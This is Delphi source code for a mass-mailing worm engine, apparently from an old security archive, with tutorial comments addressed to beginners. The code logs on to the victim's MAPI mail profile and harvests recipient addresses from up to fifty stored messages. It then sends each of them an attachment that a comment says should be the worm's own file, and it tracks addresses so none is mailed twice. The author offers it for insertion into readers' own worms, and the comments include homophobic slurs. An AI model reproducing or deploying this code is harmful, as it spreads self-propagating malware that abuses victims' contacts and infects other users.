program mapiworm;
uses
Windows, MAPI;
{$R *.RES}
(************** MAPI Worms in C++ and Delphi *********************
I haven't seen much documentation on writing a worm via Win32 HLL's
so here goes. Nothing revolutionary, just simple API calls.
This article is mainly aimed at the beginner, since actually researching
this shit by hand is a major pain in the ass and time-consuming.
I'm showing the code in Delphi cause it's a bit easier to read
and looks nicer than C++. Code can easily be converted to C in
about thirty minutes, see Microsoft's MSDN section for a complete
MAPI C++ example for the syntax. A ton of code can be snipped before
inserting into your personal worm. I figure showing it in "long form"
to be nice etiquette for an article-specific program.
This code was tested on NT 4.0, but might need a revision dependent
upon your OS and how MAPI is setup. And before you laugh at 20k for
just the worm engine, I checked AVP's site for MAPI and found some
very large filesize worms doing moderately well in the wild:
I-Worm.PrettyPark: http://www.avp.ch/avpve/NewExe/win32/ppark.stm
I-Worm.ZippedFiles: http://www.avp.ch/avpve/worms/zipped.stm
I-Worm.WinExt: http://www.avp.ch/avpve/worms/WINEXT.stm
I-Worm.Plage: http://www.avp.ch/avpve/worms/Plage.stm
Couple of useful links:
Info on MAPI hook provider
http://support.microsoft.com/support/kb/articles/Q224/3/62.ASP
MAPI Address example
http://support.microsoft.com/support/kb/articles/Q126/6/58.asp
ReadMail example
http://support.microsoft.com/support/kb/articles/Q140/3/37.asp
*)
// Usage: HKEY_CURRENT_USER, 'Software\ImaFaggot', 'GayLesbian'
function regReadString(kRoot: HKEY; sKey, sValue: String): String;
var
qValue: array[0..1023] of Char;
DataSize: Integer;
CurrentKey: HKEY;
begin
RegOpenKeyEx(kRoot, PChar(sKey), 0, KEY_ALL_ACCESS, CurrentKey);
Datasize := 1023;
// RegQueryValueEx(CurrentKey, PChar(sValue), nil, nil, nil, @DataSize);
RegQueryValueEx(CurrentKey, PChar(sValue), nil, nil, @qValue[0], @DataSize);
RegCloseKey(CurrentKey);
Result := String(qValue);
end;
var
MAPIMessage: TMAPIMessage;
lppMapiMessage: PMapiMessage;
Recip, inRecip: TMapiRecipDesc;
msgFile: TMapiFileDesc;
MError: Cardinal;
MapiSession, iMinusOne, i: LongInt;
bWinNT, bFindFirst: Boolean;
ProfileName, sAddress, sProfile, sSentMail: String;
sSeedMessageID, sMessageID: array[0..512] of Char;
os: TOSVersionInfo;
begin
// Which Operating System we on?
os.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
GetVersionEx(os);
bWinNT := (os.dwPlatformId = VER_PLATFORM_WIN32_NT);
// Grab default profilename from registry
if (bWinNT) then
ProfileName := regReadString(HKEY_CURRENT_USER,
'Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles',
'DefaultProfile')
else
// Standard Windows
ProfileName := regReadString(HKEY_CURRENT_USER,
'Software\Microsoft\Windows Messaging Subsystem\Profiles', 'DefaultProfile');
// Fucking Delphi bug won't allow a -1 to be set
// within the structure, so we trick it
iMinusOne := -1;
// Will hold any previous recipients
sSentMail := '';
// Logon to MAPI. If no workie, get outta here
try
MError := MapiLogOn(0, PChar(ProfileName), nil, MAPI_NEW_SESSION, 0, @MapiSession);
if (MError <> SUCCESS_SUCCESS) then
Exit;
except
;
end;
// Fill in the file structure with our attachment
with msgFile do
begin
ulReserved := 0;
flFlags := 0;
nPosition := iMinusOne; // Let Outlook handle the file position
// Obviously, replace the INI with your worm's path/filename
lpszPathName := PChar('c:\windows\system.ini');
lpszFileName := nil;
lpFileType := nil;
end;
bFindFirst := True;
// Walk through first fifty messages
for i := 1 to 50 do
try
// Keep up with our MessageID
if (bFindFirst) then
begin
sSeedMessageID := '';
bFindFirst := False;
end
else
sSeedMessageID := sMessageID;
// Find a message
// MapiFindNext serves as both a "findfirst/findnext" function, dependent
// upon if MessageSeed has a value
MError := MapiFindNext(MapiSession, 0, nil, @sSeedMessageID, 0, 0, @sMessageID);
if (MError = SUCCESS_SUCCESS) then
begin
// Obtain the long pointer
lppMapiMessage := @MAPIMessage;
// Open for Reading, headers only (both faster, and avoids
// writing all the god damned attachments to temp directory)
MError := MAPIReadMail(MAPISession, 0, @sMessageID,
MAPI_ENVELOPE_ONLY, 0, lppMapiMessage);
if (MError = SUCCESS_SUCCESS) and (lppMapiMessage.lpRecips <> nil) then
begin
// Sets info about message recipient
with Recip do
begin
ulReserved := 0;
ulRecipClass := MAPI_TO;
sAddress := 'SMTP:' + lppMapiMessage.lpRecips.lpszAddress;
lpszAddress := Pchar(sAddress);
lpszName := lppMapiMessage.lpRecips.lpszName;
ulEIDSize := 0;
lpEntryID := nil;
end;
// Clear out to avoid any leftover setting
FillChar(MAPIMessage, SizeOf(MAPIMessage), 0);
// Fill the MapiMessage structure.
// Unnecessary to expand entire struct, but aesthetically pleasing
with MapiMessage do
begin
ulReserved := 0;
lpszSubject := PChar('Insert subject for message');
lpszNoteText := PChar('Message text goes here');
lpszMessageType := nil;
lpszDateReceived := nil;
lpszConversationID := nil;
flFlags := 0;
lpOriginator := nil;
nRecipCount := 1;
lpRecips := @Recip;
nFileCount := 1;
lpFiles := @msgFile;
end;
// Send the message
if (Pos(lppMapiMessage.lpRecips.lpszAddress, sSentMail) = 0) then
begin
MError := MapiSendMail(MapiSession, {handle}0, MapiMessage, 0, 0);
// Store this address, so no duplicate messages are sent
sSentMail := sSentMail + lppMapiMessage.lpRecips.lpszAddress;
end;
end;
end;
except
; // Process your errors like a man
end;
try
MError := MapiLogOff(MapiSession, 0, 0, 0);
except
;
end;
end.
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH